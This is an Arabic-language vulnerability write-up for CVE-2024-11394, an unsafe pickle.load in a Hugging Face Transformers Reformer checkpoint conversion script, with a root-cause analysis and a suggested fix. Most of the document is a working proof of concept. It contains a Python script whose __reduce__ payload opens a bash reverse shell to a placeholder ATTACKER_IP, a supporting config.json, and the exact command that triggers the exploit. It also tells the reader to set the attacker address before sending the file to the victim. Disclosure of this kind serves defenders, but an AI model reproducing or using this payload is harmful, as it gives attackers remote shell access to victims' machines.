
التفاصيل التقنية والاستغلال لـ CVE-2024-11394
نظرة عامة عالية المستوى وتأثيرات الثغرة:
تسمح الثغرة للمهاجم بتنفيذ تعليمات برمجية عشوائية على الجهاز المضيف عن طريق توفير ملف نقطة تفتيش reformer trax خبيث للنص البرمجي convert_reformer_trax_checkpoint_to_pytorch.py في مستودع Hugging Face Transformers.
إذا استخدم مستخدم غير منتبه ملف نقطة تفتيش reformer trax من طرف ثالث، فإن تنفيذ النص البرمجي convert_reformer_trax_checkpoint_to_pytorch.py سيؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على نظام الضحية.
المنتج المعرض للثغرة
تحليل السبب الجذري
وصف تفصيلي للثغرة: تنشأ الثغرة من إلغاء تسلسل غير آمن لبيانات غير موثوقة. يستخدم النص البرمجي pickle.load لتحميل ملف نقطة التفتيش ويكون عرضة لتنفيذ التعليمات البرمجية.
تدفق التعليمات البرمجية من الإدخال إلى الحالة المعرضة للثغرة:
reformer trax من طرف ثالث.convert_reformer_trax_checkpoint_to_pytorch.py ويمرر ملف نقطة التفتيش إليه.convert_reformer_trax_checkpoint_to_pytorch.py بإلغاء تسلسل ملف نقطة التفتيش وتنفيذ التعليمات البرمجية الخبيثة.نقطة الحقن: تحدث الثغرة في النقطة التي يتم فيها استدعاء pickle.load.
الرابط الدائم على GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192
الإصلاحات المقترحة: استبدال pickle.load بـ yaml.safe_load(yaml_file) أو json.load لمنع تنفيذ التعليمات البرمجية العشوائية.
تعليمات تنفيذ إثبات المفهوم:
exploit.py لإنشاء ملف pickle خبيث malicious.pkl سينشئ شل عكسية على نظام الضحية:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("Malicious pickle file created successfully.")
ملاحظة: قم بتغيير ATTACKER_IP و ATTACKER_PORT قبل إرسال الملف إلى الضحية.
config.json:{
"attention_head_size": 64,
"attention_probs_dropout_prob": 0.1,
"attn_layers": [
"local",
"lsh",
"local",
"lsh",
"local",
"lsh"
],
"axial_norm_std": 1.0,
"axial_pos_embds": true,
"axial_pos_embds_dim": [
64,
960
],
"axial_pos_shape": [
64,
64
],
"chunk_size_lm_head": 0,
"classifier_dropout": null,
"eos_token_id": 2,
"feed_forward_size": 512,
"hash_seed": null,
"hidden_act": "relu",
"hidden_dropout_prob": 0.1,
"hidden_size": 1024,
"initializer_range": 0.02,
"is_decoder": true,
"layer_norm_eps": 1e-12,
"local_attention_probs_dropout_prob": 0.05,
"local_attn_chunk_length": 64,
"local_num_chunks_after": 0,
"local_num_chunks_before": 1,
"lsh_attention_probs_dropout_prob": 0.0,
"lsh_attn_chunk_length": 64,
"lsh_num_chunks_after": 0,
"lsh_num_chunks_before": 1,
"max_position_embeddings": 4096,
"model_type": "reformer",
"num_attention_heads": 16,
"num_buckets": null,
"num_hashes": 1,
"num_hidden_layers": 6,
"pad_token_id": 0,
"tie_word_embeddings": false,
"transformers_version": "4.42.4",
"type_vocab_size": 2,
"use_cache": true,
"vocab_size": 30522
}
convert_reformer_trax_checkpoint_to_pytorch.py ومرر ملف malicious.pkl إلى --trax_model_pkl_path:> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .
ملاحظة: يمكن تعيين
pytorch_dump_folder_pathكأي دليل.
رابط تنزيل البرنامج:
https://github.com/huggingface/transformers/tree/main